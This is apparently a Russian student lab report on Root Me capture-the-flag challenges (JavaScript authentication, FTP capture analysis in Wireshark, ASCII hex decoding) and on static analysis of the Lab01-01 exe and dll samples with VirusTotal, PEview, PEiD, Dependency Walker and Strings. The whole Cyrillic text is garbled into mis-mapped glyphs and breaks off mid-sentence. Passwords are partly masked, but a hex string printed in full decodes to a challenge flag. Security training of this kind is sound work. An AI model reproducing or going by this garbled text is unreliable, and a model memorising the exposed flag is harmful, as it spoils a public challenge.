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ʇʨʠʤʝʨʳ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʡ 

ɿʘʜʘʥʠʝ ˉ 1. ɿʥʘʢʦʤʩʪʚʦ ʩ ʧʣʘʪʬʦʨʤʦʡ Root Me 

ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʡ ʥʝʦʙʭʦʜʠʤʦ ʟʘʨʝʛʠʩʪʨʠʨʦʚʘʪʴʩʷ ʥʘ ʧʣʘʪʬʦʨʤʝ 

ʧʦ ʩʣʝʜʫʶʱʝʤʫ ʘʜʨʝʩʫ: https://www.root-me.org/ru/. ʇʦʩʣʝ ʫʩʧʝʰʥʦʡ 

ʧʨʦʮʝʜʫʨʳ ʘʚʪʦʨʠʟʘʮʠʠ ʤʦʞʥʦ ʧʨʠʩʪʫʧʘʪʴ ʢ ʚʳʧʦʣʥʝʥʠʶ ʟʘʜʘʥʠʡ. ʈʘʙʦʪʘ ʥʘ 

ʧʣʘʪʬʦʨʤʝ ʪʨʝʙʫʝʪ ʫ ʩʪʫʜʝʥʪʘ ʩʘʤʦʩʪʦʷʪʝʣʴʥʦʛʦ ʠʟʫʯʝʥʠʷ ʪʝʦʨʝʪʠʯʝʩʢʦʛʦ 

ʤʘʪʝʨʠʘʣʘ.  

ɼʣʷ ʧʨʠʤʝʨʘ ʧʨʝʜʩʪʘʚʣʝʥʳ ʚʦʩʝʤɹ ʟʘʜʘʯ, ʠʟ ʢʦʪʦʨʳʭ ʥʝʦʙʭʦʜʠʤʦ 

ʚʳʙʨʘʪʴ ʩʘʤʦʩʪʦʷʪʝʣʴʥʦ ʟʘʜʘʥʠʷ ʠʟ ʨʘʟʣʠʯʥʳʭ ʢʘʪʝʛʦʨʠʡ, ʥʘʙʨʘʚ ʧʨʠ ʵʪʦʤ ʥʝ 

ʤʝʥʝʝ 60 ʙʘʣʣʦʚ. ʉʪʫʜʝʥʪ ʤʦʞʝʪ ʚʳʙʨʘʪʴ ʩʘʤʦʩʪʦʷʪʝʣʴʥʦ ʟʘʜʘʥʠʷ 

ʧʦʚʳʰʝʥʥʦʡ ʩʣʦʞʥʦʩʪʠ ʦʪ 30 ʙʘʣʣʦʚ ʟʘ ʟʘʜʘʥʠʝ, ʚʳʧʦʣʥʠʚ ʤʝʥʴʰʝʝ ʠʭ 

ʢʦʣʠʯʝʩʪʚʦ, ʥʦ ʥʘʙʨʘʚ ʧʨʠ ʵʪʦʤ ʥʝ ʤʝʥʝʝ 60 ʙʘʣʣʦʚ. ɿʘʱʠʪʘ ʧʨʦʜʝʣʘʥʥʦʡ 

ʨʘʙʦʪʳ ʧʨʦʠʩʭʦʜʠʪ ʚ ʣʠʯʥʦʤ ʢʘʙʠʥʝʪʝ ʥʘ ʧʣʘʪʬʦʨʤʝ, ʩʪʫʜʝʥʪ ʜʝʤʦʥʩʪʨʠʨʫʝʪ 

ʚʳʧʦʣʥʝʥʠʝ ʟʘʜʘʥʠʡ.  

ʈʝʢʦʤʝʥʜʫʝʤʳʝ ʢ ʚʳʧʦʣʥʝʥʠʶ ʟʘʜʘʥʠʷ 

1) [HTML - disabled buttons] (https://www.root-me.org/en/Challenges/Web-

Client/HTML-disabled-buttons) ï 5 ʙʘʣʣʦʚ. 

2)  [Javascript - Source] (https://www.root-me.org/en/Challenges/Web-

Client/Javascript-Source) ï 5 ʙʘʣʣʦʚ. 

3) [Javascript ï Authentication 2] (https://www.root-

me.org/en/Challenges/Web-Client/Javascript-Authentication-2) - 10 ʙʘʣʣʦʚ 

4) [Javascript - Obfuscation 1] (https://www.root-

me.org/en/Challenges/Web-Client/Javascript-Obfuscation-1) ï 10 ʙʘʣʣʦʚ. 

5) [Javascript ï Obfuscation 2] (https://www.root-

me.org/en/Challenges/Web-Client/Javascript-Obfuscation-2) ï 10 ʙʘʣʣʦʚ. 

6)  [Monoalphabetic substitution - Caesar] - https://www.root-

me.org/en/Challenges/Cryptanalysis/Monoalphabetic-substitution-Caesar - 15 

ʙʘʣʣʦʚ. 

7) [ETHERNET - frame] (https://www.root-

me.org/en/Challenges/Network/ETHERNET-frame) ï 10 ʙʘʣʣʦʚ. 

8) [Twitter authentication] (https://www.root-

me.org/en/Challenges/Network/Twitter-authentication-101) ï 15 ʙʘʣʣʦʚ 

(ʥʝʦʙʭʦʜʠʤ Wireshark). 

ʈʘʩʩʤʦʪʨʠʤ ʥʝʢʦʪʦʨʳʝ ʟʘʜʘʥʠʷ ʠʟ ʨʘʟʥʳʭ ʢʘʪʝʛʦʨʠʡ.  

https://www.root-me.org/ru/
https://www.root-me.org/en/Challenges/Web-Client/HTML-disabled-buttons
https://www.root-me.org/en/Challenges/Web-Client/HTML-disabled-buttons
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Source
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Source
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Source
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Authentication-2
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Authentication-2
http://www.root-me.org/en/Challenges/Web-Client/Javascript-Authentication-2
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Obfuscation-1
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Obfuscation-1
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Obfuscation-2
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Obfuscation-2
https://www.root-me.org/en/Challenges/Cryptanalysis/Monoalphabetic-substitution-Caesar
https://www.root-me.org/en/Challenges/Cryptanalysis/Monoalphabetic-substitution-Caesar
https://www.root-me.org/en/Challenges/Cryptanalysis/Monoalphabetic-substitution-Caesar
https://www.root-me.org/en/Challenges/Network/ETHERNET-frame
https://www.root-me.org/en/Challenges/Network/ETHERNET-frame
https://www.root-me.org/en/Challenges/Network/Twitter-authentication-101
https://www.root-me.org/en/Challenges/Network/Twitter-authentication-101
https://www.root-me.org/en/Challenges/Network/Twitter-authentication-101
https://www.root-me.org/en/Challenges/Network/Twitter-authentication-101
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1. ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʡ ʠʟ ʢʘʪʝʛʦʨʠʠ çɺʝʙ-ʢʣʠʝʥʪè 

ʎʝʣʴ ʨʘʙʦʪʳ: ʠʟʫʯʠʪʴ ʩʦʜʝʨʞʠʤʦʝ ʟʘʜʘʥʠʷ, ʧʨʦʯʠʪʘʪʴ 

ʚʩʧʦʤʦʛʘʪʝʣʴʥʫʶ ʣʠʪʝʨʘʪʫʨʫ, ʚʦʩʧʦʣʴʟʦʚʘʪʴʩʷ ʥʘʡʜʝʥʥʳʤʠ ʫʷʟʚʠʤʦʩʪʷʤʠ ʠ 

ʜʘʪʴ ʦʪʚʝʪ. 

Javascript ð Authentication. ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʷ ʧʝʨʝʭʦʜʠʤ ʧʦ 

ʩʩʳʣʢʝ  

(https://www.root-me.org/en/Challenges/Web-Client/Javascript-Authentication). 

ʅʝʦʙʭʦʜʠʤʦ ʫʟʥʘʪʴ ʧʘʨʦʣʴ. 

 

ʈʠʩʫʥʦʢ 1 ï ɿʘʜʘʥʠʝ ʧʦ ʩʩʳʣʢʝ 

ʅʘʞʠʤʘʝʤ çStart the challengeè, ʠ ʧʝʨʝʜ ʥʘʤʠ ʦʪʢʨʳʚʘʝʪʩʷ ʩʪʨʘʥʠʮʘ ʩ 

ʬʦʨʤʦʡ ʘʚʪʦʨʠʟʘʮʠʠ. 

 

ʈʠʩʫʥʦʢ 2 ï ʌʦʨʤʘ ʘʚʪʦʨʠʟʘʮʠʠ 

ʆʪʢʨʳʚʘʝʤ ʧʘʥʝʣʴ ʨʘʟʨʘʙʦʪʯʠʢʘ, ʱʝʣʢʥʫʚ ʚ ʙʨʘʫʟʝʨʝ ʧʨʘʚʦʡ ʢʥʦʧʢʦʡ 

ʤʳʰʠ ʠ çʧʦʩʤʦʪʨʝʪʴ ʢʦʜè. 

https://www.root-me.org/en/Challenges/Web-Client/Javascript-Authentication
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ʈʠʩʫʥʦʢ 3 ï ʇʨʦʩʤʦʪʨ ʢʦʜʘ ʩʪʨʘʥʠʮʳ 

ʆʪʢʨʳʚʘʝʤ ʚʢʣʘʜʢʫ çSourcesè ʠ ʥʘʭʦʜʠʤ ʧʘʧʢʫ ʩ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ 

çlogin.jsè. 

 

ʈʠʩʫʥʦʢ 4 ï ʇʨʦʩʤʦʪʨ ʩʦʜʝʨʞʠʤʦʛʦ ʬʘʡʣʘ login.js 

ɺ ʩʪʨʦʢʝ  ̄ 8 ʫʢʘʟʘʥʳ ʣʦʛʠʥ ʠ ʧʘʨʦʣʴ. ʃʦʛʠʥ - "4*** nè ʇʘʨʦʣʴ ï 

"s*** g". 
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2. ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʡ ʠʟ ʢʘʪʝʛʦʨʠʠ çʉʝʪʠè 

FTP ï authentication  

(https://www.root-me.org/en/Challenges/Network/FTP-authentication). 

ʅʝʦʙʭʦʜʠʤʦ ʥʘʡʪʠ ʧʘʨʦʣʴ ʚ ftp ʜʘʤʧʝ ʪʨʘʬʠʢʘ. 

 

ʈʠʩʫʥʦʢ 5 ï ɿʘʜʘʥʠʝ ftp-authentication 

ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʷ ʥʝʦʙʭʦʜʠʤʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʫʪʠʣʠʪʫ 

çWiresharkè. ʇʦʩʣʝ ʥʘʞʘʪʠʷ ʥʘ ʢʥʦʧʢʫ çstart the challengeè ʤʳ ʧʦʣʫʯʘʝʤ ʥʘ 

ʢʦʤʧʴʶʪʝʨ ʬʘʡʣ ʜʘʤʧʘ, ʢʦʪʦʨʳʡ ʥʝʦʙʭʦʜʠʤʦ ʦʪʢʨʳʪʴ ʩ ʧʦʤʦʱʴʶ ʧʨʦʛʨʘʤʤʳ 

çWiresharkè. ʆʪʢʨʳʚʘʝʤ ʬʘʡʣ. 

 

ʈʠʩʫʥʦʢ 6ï ʇʨʦʩʤʦʪʨ ʩʦʜʝʨʞʠʤʦʛʦ ʜʘʤʧʘ ʚ ʧʨʦʛʨʘʤʤʝ Wireshark 

ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʦʪʬʠʣʴʪʨʦʚʘʪʴ ʧʘʢʝʪʳ ʧʦ ʧʨʦʪʦʢʦʣʫ ftp. ɼʣʷ ʵʪʦʛʦ 

ʥʝʦʙʭʦʜʠʤʦ ʧʨʠʤʝʥʠʪʴ ʬʠʣʴʪʨ çftpè. 

https://www.root-me.org/en/Challenges/Network/FTP-authentication
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ʈʠʩʫʥʦʢ 7 ï ʇʨʠʤʝʥʝʥʠʝ ʬʠʣʴʪʨʘ 

ʇʘʨʦʣʴ ʩʦʜʝʨʞʠʪʩʷ ʚ ʩʪʨʦʢʝ ˉ 11. ʇʘʨʦʣʴ ï c****0.  

3. ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʡ ʠʟ ʢʘʪʝʛʦʨʠʠ çʂʨʠʧʪʦʘʥʘʣʠʟè 

Encoding ï ASCII   

(https://www.root-me.org/en/Challenges/Cryptanalysis/Encoding-ASCII) ï

 ʥʝʦʙʭʦʜʠʤʦ ʨʘʩʰʠʬʨʦʚʘʪʴ ʧʦʩʣʝʜʦʚʘʪʝʣʴʥʦʩʪʴ ʠ ʥʘʡʪʠ ʧʘʨʦʣʴ. 

 

ʈʠʩʫʥʦʢ 8 ï ɿʘʜʘʥʠʝ encoding ASCII 

ɺ ʵʪʦʤ ʟʘʜʘʥʠʠ ʥʘʤ ʥʫʞʥʦ ʚʦʩʧʦʣʴʟʦʚʘʪʴʩʷ ʪʘʙʣʠʮʝʡ ʜʣʷ ʨʘʩʰʠʬʨʦʚʢʠ 

ASCII ʢʦʜʘ. 

4C6520666C6167206465206365206368616C6C656E6765206573743A20326163

3337363438316165353436636436383964356239313237356433323465 

https://www.root-me.org/en/Challenges/Cryptanalysis/Encoding-ASCII
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ʈʠʩʫʥʦʢ 9 ï ʊʘʙʣʠʮʘ ASCII 

ʉ ʧʦʤʦʱʴʶ ʪʘʙʣʠʮʳ ASCII ʤ  rʧʦʣʫʯʠʤ ʩʪʨʦʢʫ: çLe flag de ce challenge 

est: 2********** eè, ʦʪʩʶʜʘ ʩʣʝʜʫʝʪ ʧʘʨʦʣʴ ʙʫʜʝʪ: 2********** e. 

 

ɺʳʚʦʜ: ʠʟʫʯʠʚ ʫʷʟʚʠʤʦʩʪʠ, ʧʨʝʜʩʪʘʚʣʝʥʥʳʝ ʚ ʢʘʞʜʦʤ ʟʘʜʘʥʠʠ, ʤʦʞʥʦ 

ʚʦʩʧʨʦʠʟʚʝʩʪʠ ʘʪʘʢʠ ʠ ʧʦʣʫʯʠʪʴ ʦʪʚʝʪʳ ʥʘ ʟʘʜʘʥʠʷ. 
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ɿʘʜʘʥʠʝ ˉ 2. ʉʪʘʪʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʠʣʦʞʝʥʠʡ 

ʎʝʣʴ ʨʘʙʦʪʳ: ʠʟʫʯʠʪʴ ʭʘʨʘʢʪʝʨʠʩʪʠʢʠ ʧʨʦʛʨʘʤʤ ʩʪʘʪʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ 

ʠ ʦʧʨʝʜʝʣʠʪʴ ʥʘʟʥʘʯʝʥʠʝ ʬʘʡʣʦʚ lab01-01.exe ʠ lab01-01.dll. 

SAST ð ʵʪʦ ʤʝʪʦʜʦʣʦʛʠʷ ʠ ʥʘʙʦʨ ʠʥʩʪʨʫʤʝʥʪʦʚ, ʠʩʧʦʣʴʟʫʝʤʳʭ ʜʣʷ 

ʘʥʘʣʠʟʘ ʠ ʦʮʝʥʢʠ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʦʛʨʘʤʤʥʦʛʦ ʦʙʝʩʧʝʯʝʥʠʷ ʥʘ ʵʪʘʧʝ ʝʛʦ 

ʨʘʟʨʘʙʦʪʢʠ. SAST ʧʨʝʜʦʩʪʘʚʣʷʝʪ ʨʘʟʨʘʙʦʪʯʠʢʘʤ ʠ ʠʥʞʝʥʝʨʘʤ ʧʦ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʦʪʝʥʮʠʘʣʴʥʳʭ ʫʷʟʚʠʤʦʩʪʷʭ ʠ ʫʛʨʦʟʘʭ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʚ ʠʩʭʦʜʥʦʤ ʢʦʜʝ ʠ ʙʠʥʘʨʥʳʭ ʬʘʡʣʘʭ ʧʨʠʣʦʞʝʥʠʷ ʜʦ ʝʛʦ 

ʚʳʧʦʣʥʝʥʠʷ. ʕʪʦʪ ʧʨʦʮʝʩʩ ʧʦʟʚʦʣʷʝʪ ʚʳʷʚʣʷʪʴ ʠ ʫʩʪʨʘʥʷʪʴ ʫʷʟʚʠʤʦʩʪʠ ʥʘ 

ʨʘʥʥʠʭ ʵʪʘʧʘʭ ʨʘʟʨʘʙʦʪʢʠ, ʯʪʦ ʩʧʦʩʦʙʩʪʚʫʝʪ ʧʦʚʳʰʝʥʠʶ ʦʙʱʝʡ ʙʝʟʦʧʘʩʥʦʩʪʠ 

ʧʨʠʣʦʞʝʥʠʡ. ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʧʨʘʢʪʠʯʝʩʢʦʛʦ ʟʘʜʘʥʠʷ ʪʨʝʙʫʝʪʩʷ ʩʣʝʜʫʶʱʝʝ 

ʧʨʦʛʨʘʤʤʥʦʝ ʦʙʝʩʧʝʯʝʥʠʝ: 

1) VirusTotal ð ʵʪʦ ʦʥʣʘʡʥ-ʩʝʨʚʠʩ, ʧʨʝʜʦʩʪʘʚʣʷʶʱʠʡ ʚʦʟʤʦʞʥʦʩʪʴ 

ʩʢʘʥʠʨʦʚʘʥʠʷ ʬʘʡʣʦʚ ʠ URL-ʘʜʨʝʩʦʚ ʩ ʠʩʧʦʣʴʟʦʚʘʥʠʝʤ ʤʥʦʞʝʩʪʚʘ 

ʘʥʪʠʚʠʨʫʩʥʳʭ ʜʚʠʞʢʦʚ ʜʣʷ ʚʳʷʚʣʝʥʠʷ ʧʦʪʝʥʮʠʘʣʴʥʳʭ ʫʛʨʦʟ ʠ ʚʨʝʜʦʥʦʩʥʳʭ 

ʧʨʦʛʨʘʤʤ. 

2) PEview ð ʵʪʦ ʠʥʩʪʨʫʤʝʥʪ, ʧʨʝʜʥʘʟʥʘʯʝʥʥʳʡ ʜʣʷ ʘʥʘʣʠʟʘ ʬʘʡʣʦʚ 

ʬʦʨʤʘʪʘ Portable Executable (PE). ʌʦʨʤʘʪ PE ʷʚʣʷʝʪʩʷ ʩʪʘʥʜʘʨʪʦʤ ʜʣʷ 

ʠʩʧʦʣʥʷʝʤʳʭ ʬʘʡʣʦʚ (EXE) ʠ ʜʠʥʘʤʠʯʝʩʢʠʭ ʙʠʙʣʠʦʪʝʢ (DLL) ʚ 

ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤʘʭ Windows. PEview ʧʦʟʚʦʣʷʝʪ ʧʨʦʩʤʘʪʨʠʚʘʪʴ 

ʨʘʟʣʠʯʥʳʝ ʘʪʨʠʙʫʪʳ ʠ ʭʘʨʘʢʪʝʨʠʩʪʠʢʠ PE-ʬʘʡʣʦʚ, ʪʘʢʠʝ ʢʘʢ ʟʘʛʦʣʦʚʢʠ, 

ʩʝʢʮʠʠ, ʠʤʧʦʨʪʳ, ʵʢʩʧʦʨʪʳ ʠ ʜʨʫʛʠʝ ʤʝʪʘʜʘʥʥʳʝ, ʯʪʦ ʧʦʣʝʟʥʦ ʧʨʠ ʘʥʘʣʠʟʝ 

ʠʩʧʦʣʥʷʝʤʳʭ ʬʘʡʣʦʚ ʠ ʚʳʷʚʣʝʥʠʠ ʧʦʪʝʥʮʠʘʣʴʥʳʭ ʧʨʦʙʣʝʤ ʙʝʟʦʧʘʩʥʦʩʪʠ. 

3) PEiD ð ʵʪʦ ʫʪʠʣʠʪʘ, ʠʩʧʦʣʴʟʫʝʤʘʷ ʜʣʷ ʨʘʩʧʦʟʥʘʚʘʥʠʷ ʪʠʧʦʚ 

ʫʧʘʢʦʚʱʠʢʦʚ ʠ ʢʦʤʧʠʣʷʪʦʨʦʚ, ʢʦʪʦʨʳʝ ʤʦʛʫʪ ʙʳʪʴ ʧʨʠʤʝʥʝʥʳ ʢ 

ʠʩʧʦʣʥʷʝʤʳʤ ʬʘʡʣʘʤ ʜʣʷ ʩʦʢʨʳʪʠʷ ʠʣʠ ʦʙʬʫʩʢʘʮʠʠ. 

4) Dependency Walker ð ʵʪʦ ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʘʥʘʣʠʟʘ ʟʘʚʠʩʠʤʦʩʪʝʡ 

ʠʩʧʦʣʥʷʝʤʳʭ ʬʘʡʣʦʚ ʠ ʙʠʙʣʠʦʪʝʢ ʚ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʝ Windows. 

5) Strings ð ʵʪʦ ʫʪʠʣʠʪʘ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ, ʢʦʪʦʨʘʷ ʧʦʟʚʦʣʷʝʪ 

ʠʟʚʣʝʢʘʪʴ ʯʠʪʘʝʤʳʡ ʪʝʢʩʪ (ʩʪʨʦʢʠ ʩʠʤʚʦʣʦʚ) ʠʟ ʙʠʥʘʨʥʳʭ ʬʘʡʣʦʚ, ʚʢʣʶʯʘʷ 

ʠʩʧʦʣʥʷʝʤʳʝ ʬʘʡʣʳ ʠ ʙʠʙʣʠʦʪʝʢʠ. ʕʪʦʪ ʠʥʩʪʨʫʤʝʥʪ ʥʝʦʙʭʦʜʠʤ ʜʣʷ ʘʥʘʣʠʟʘ 

ʬʘʡʣʦʚ ʥʘ ʥʘʣʠʯʠʝ ʩʢʨʳʪʦʡ ʠʥʬʦʨʤʘʮʠʠ, ʧʘʨʦʣʝʡ, URL-ʘʜʨʝʩʦʚ ʠ ʜʨʫʛʠʭ 

ʪʝʢʩʪʦʚʳʭ ʜʘʥʥʳʭ, ʪʨʝʙʫʶʱʠʭʩʷ ʧʨʠ ʠʩʩʣʝʜʦʚʘʥʠʠ ʙʝʟʦʧʘʩʥʦʩʪʠ ʠʣʠ ʨʝʚʝʨʩ-

ʠʥʞʠʥʠʨʠʥʛʝ. 
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ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʡ  

1) ʅʝʦʙʭʦʜʠʤʦ ʨʘʩʩʤʦʪʨʝʪʴ ʬʘʡʣʳ Lab01-01.exe ʠ Lab01-01.dll ʥʘ 

ʧʨʝʜʤʝʪ ʥʘʣʠʯʠʷ ʚʨʝʜʦʥʦʩʥʦʡ ʘʢʪʠʚʥʦʩʪʠ ʠ ʟʘʛʨʫʟʠʪʴ ʠʭ ʥʘ ʩʘʡʪ 

www.virustotal.com. 

 

ʈʠʩʫʥʦʢ 10 ï ʉʘʡʪ virustotal.com 

ɼʘʥʥʳʝ ʬʘʡʣʳ ʥʝ ʩʦʦʪʚʝʪʩʪʚʫʶʪ ʙʦʣʴʰʦʤʫ ʢʦʣʠʯʝʩʪʚʫ ʘʥʪʠʚʠʨʫʩʥʳʭ 

ʩʠʛʥʘʪʫʨ. 

 

 

ʈʠʩʫʥʢʠ 11-12 ï ʈʝʟʫʣʴʪʘʪ ʘʥʘʣʠʟʘ ʬʘʡʣʦʚ 

http://www.virustotal.com/
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2) ʊʨʝʙʫʝʪʩʷ ʟʘʧʫʩʪʠʪʴ ʧʨʦʛʨʘʤʤʫ PEview, ʠʩʧʦʣʴʟʫʶʱʫʶʩʷ ʜʣʷ 

ʧʨʦʩʤʦʪʨʘ ʠ ʘʥʘʣʠʟʘ ʬʘʡʣʦʚ ʚ ʬʦʨʤʘʪʝ PE, ʠ ʟʘʛʨʫʟʠʪʴ ʧʨʝʜʩʪʘʚʣʝʥʥʳʝ 

ʬʘʡʣʳ. ɺ ʧʨʦʚʦʜʥʠʢʝ ʧʨʦʛʨʘʤʤʳ ʥʝʦʙʭʦʜʠʤʦ ʦʪʢʨʳʪʴ ʧʫʥʢʪ 

IMAGE_FILE_HEADER. ʄʦʞʥʦ ʫʚʠʜʝʪʴ, ʯʪʦ ʦʙʘ ʬʘʡʣʘ ʙʳʣʠ 

ʩʢʦʤʧʠʣʠʨʦʚʘʥʳ ʜʘʚʥʦ ʩ ʨʘʟʥʠʮʝʡ ʚ 19 ʩʝʢʫʥʜ. ʕʪʦ ʦʙʲʷʩʥʷʝʪ ʥʘʣʠʯʠʝ 

ʙʦʣʴʰʦʛʦ ʢʦʣʠʯʝʩʪʚʘ ʘʥʪʠʚʠʨʫʩʥʳʭ ʩʠʛʥʘʪʫʨ, ʩʢʦʧʠʚʰʠʭʩʷ ʟʘ ʵʪʦ ʚʨʝʤʷ. 

 

 

ʈʠʩʫʥʢʠ 13-14 ï ʇʨʦʩʤʦʪʨ ʜʘʪʳ ʟʘʛʨʫʟʢʠ ʬʘʡʣʦʚ 

ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʦʪʢʨʳʪʴ ʨʘʟʜʝʣ IMAGE_OPTIONAL_HEADER. ɺ 

ʩʪʨʦʢʝ Subsystem ʦʪʦʙʨʘʟʠʪʩʷ ʟʥʘʯʝʥʠʝ IMAGE_SUBSYSTEM_WINDOWS_

CUI ʫ exe ʬʘʡʣʘ ʠ IMAGE_SUBSYSTEM_WINDOWS_GUI ʫ dll, ʯʪʦ ʛʦʚʦʨʠʪ 

ʦ ʪʦʤ, ʯʪʦ ʵʪʦ ʢʦʥʩʦʣʴʥʘʷ ʠ ʛʨʘʬʠʯʝʩʢʘʷ ʧʨʦʛʨʘʤʤʘ ʩʦʦʪʚʝʪʩʪʚʝʥʥʦ. 
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ʈʠʩʫʥʢʠ 15-16 ï ʈʝʟʫʣʴʪʘʪʳ ʘʥʘʣʠʟʘ ʬʘʡʣʦʚ 

3) ʅʝʦʙʭʦʜʠʤʦ ʟʘʧʫʩʪʠʪʴ ʫʪʠʣʠʪʫ PEiD, ʧʦʟʚʦʣʷʶʱʫʶ ʫʩʪʘʥʦʚʠʪʴ ʪʠʧ 

ʫʧʘʢʦʚʱʠʢʘ, ʢʦʤʧʠʣʷʪʦʨʘ ʠʣʠ ʢʨʠʧʪʦʨʘ, ʢʦʪʦʨʳʡ ʠʩʧʦʣʴʟʦʚʘʣʩʷ ʧʨʠ ʩʙʦʨʢʝ 

ʧʨʠʣʦʞʝʥʠʷ. ʋʪʠʣʠʪʘ ʧʦʢʘʟʳʚʘʝʪ, ʯʪʦ exe ʠ dll ʬʘʡʣʳ ʩʢʦʤʧʠʣʠʨʦʚʘʣ 

Microsoft Visual C++ 6.0. ɼʣʷ ʧʦʣʫʯʝʥʠʷ ʜʦʧʦʣʥʠʪʝʣʴʥʦʡ ʠʥʬʦʨʤʘʮʠʠ 

ʥʝʦʙʭʦʜʠʤʦ ʥʘʞʘʪʴ ʥʘ ʩʦʦʪʚʝʪʩʪʚʫʶʱʫʶ ʢʥʦʧʢʫ. 

 

ʈʠʩʫʥʢʠ 17-18 ï ʇʦʜʛʦʪʦʚʢʘ ʢ ʟʘʧʫʩʢʫ ʫʪʠʣʠʪʳ PEiD 

ɺ ʦʪʢʨʳʚʰʝʤʩʷ ʦʢʥʝ ʪʨʠ ʥʠʞʥʠʭ ʧʘʨʘʤʝʪʨʘ ʜʝʤʦʥʩʪʨʠʨʫʶʪ, ʯʪʦ ʫ 

ʧʨʠʣʦʞʝʥʠʷ ʥʝʪ ʫʧʘʢʦʚʱʠʢʘ ʠ, ʩʣʝʜʦʚʘʪʝʣʴʥʦ, ʦʥ ʥʝ ʦʙʬʫʩʮʠʨʦʚʘʥ. 
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ʈʠʩʫʥʢʠ 19-20 ï ʈʝʟʫʣʴʪʘʪʳ ʘʥʘʣʠʟʘ ʬʘʡʣʦʚ 

4) ʊʨʝʙʫʝʪʩʷ ʟʘʧʫʩʪʠʪʴ ʫʪʠʣʠʪʫ Dependency Walker. ɺ ʦʙʦʠʭ ʬʘʡʣʘʭ 

ʧʨʠʩʫʪʩʪʚʫʶʪ ʠʤʧʦʨʪʳ ʙʠʙʣʠʦʪʝʢʠ msvcrt.dll. ʆʥʠ ʜʦʙʘʚʣʷʶʪʩʷ ʚʦ ʚʨʝʤʷ 

ʢʦʤʧʠʣʷʮʠʠ. ʊʘʢʞʝ ʦʙʘ ʬʘʡʣʘ ʩʦʜʝʨʞʘʪ ʠʤʧʦʨʪʳ ʙʠʙʣʠʦʪʝʢʠ kernel32.dll. ʇʦ 

ʠʤʧʦʨʪʫ ʬʫʥʢʮʠʡ CopyFileA, FindFirstFileA ʠ FindNextFileA ʤʦʞʥʦ ʩʜʝʣʘʪʴ 

ʚʳʚʦʜ, ʯʪʦ ʢʦʥʩʦʣʴʥʘʷ ʧʨʦʛʨʘʤʤʘ ʧʨʦʠʟʚʦʜʠʪ ʧʦʠʩʢ ʧʦ ʬʘʡʣʦʚʦʡ ʩʠʩʪʝʤʝ ʠ 

ʢʦʧʠʨʫʝʪ ʬʘʡʣʳ. 

 

ʈʠʩʫʥʦʢ 21 ï ʈʝʟʫʣʴʪʘʪ ʘʥʘʣʠʟʘ ʬʘʡʣʘ lab01-01.exe 

ʀʤʧʦʨʪʠʨʦʚʘʥʠʝ ʬʫʥʢʮʠʡ CreateProcessA ʠ Sleep ʧʦʟʚʦʣʷʝʪ 

ʦʧʨʝʜʝʣʠʪʴ, ʯʪʦ ʛʨʘʬʠʯʝʩʢʘʷ ʧʨʦʛʨʘʤʤʘ ʩʚʷʟʘʥʘ ʩ ʩʦʟʜʘʥʠʝʤ ʥʦʚʳʭ 

ʧʨʦʮʝʩʩʦʚ ʠ ʧʨʠʦʩʪʘʥʦʚʢʦʡ ʪʝʢʫʱʝʛʦ ʧʦʪʦʢʘ. ʊʘʢʠʝ ʬʫʥʢʮʠʠ ʯʘʩʪʦ 

ʚʩʪʨʝʯʘʶʪʩʷ ʚ ʨʘʙʦʪʝ ʙʵʢʜʦʨʘ. ʇʦʤʠʤʦ ʵʪʦʛʦ, ʧʨʦʛʨʘʤʤʘ ʠʤʧʦʨʪʠʨʫʝʪ 

ʬʫʥʢʮʠʠ ʙʠʙʣʠʦʪʝʢʠ ws2_32.dll, ʢʦʪʦʨʘʷ ʧʨʝʜʦʩʪʘʚʣʷʝʪ ʚʦʟʤʦʞʥʦʩʪʴ ʜʣʷ 

ʩʦʟʜʘʥʠʷ ʠ ʫʧʨʘʚʣʝʥʠʷ ʩʝʪʝʚʳʤʠ ʩʦʝʜʠʥʝʥʠʷʤʠ. 
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ʈʠʩʫʥʦʢ 22 ï ʈʝʟʫʣʴʪʘʪ ʘʥʘʣʠʟʘ ʬʘʡʣʘ lab01-01.dll 

5) ɼʣʷ ʧʦʩʣʝʜʥʝʛʦ ʵʪʘʧʘ ʥʝʦʙʭʦʜʠʤʦ ʦʟʥʘʢʦʤʠʪʴʩʷ ʩ ʧʨʦʛʨʘʤʤʦʡ 

Strings, ʧʨʠ ʧʦʤʦʱʠ ʢʦʪʦʨʦʡ ʪʨʝʙʫʝʪʩʷ ʚʳʛʨʫʟʠʪʴ ʩʪʨʦʢʠ ʬʘʡʣʦʚ ʚ ʪʝʢʩʪʦʚʳʝ 

